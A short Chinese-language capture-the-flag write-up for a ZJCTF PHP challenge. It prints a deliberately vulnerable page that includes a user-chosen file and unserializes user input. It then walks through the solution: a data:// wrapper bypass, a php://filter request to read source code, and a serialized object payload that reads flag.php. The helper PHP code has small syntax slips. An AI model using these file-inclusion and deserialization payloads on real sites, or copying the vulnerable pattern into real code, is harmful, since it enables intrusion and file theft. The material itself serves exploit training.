<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
isset — 检测变量是否已设置并且非 NULL
file_get_contents — 将整个文件读入一个字符串
通过data协议绕过第一个if
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
通过php://读取到uselist.php文件内容
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解密
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
初始化对象
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = Flag()
echo serialize($a)
?>
序列化对象后赋值,查看源码得到flag
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}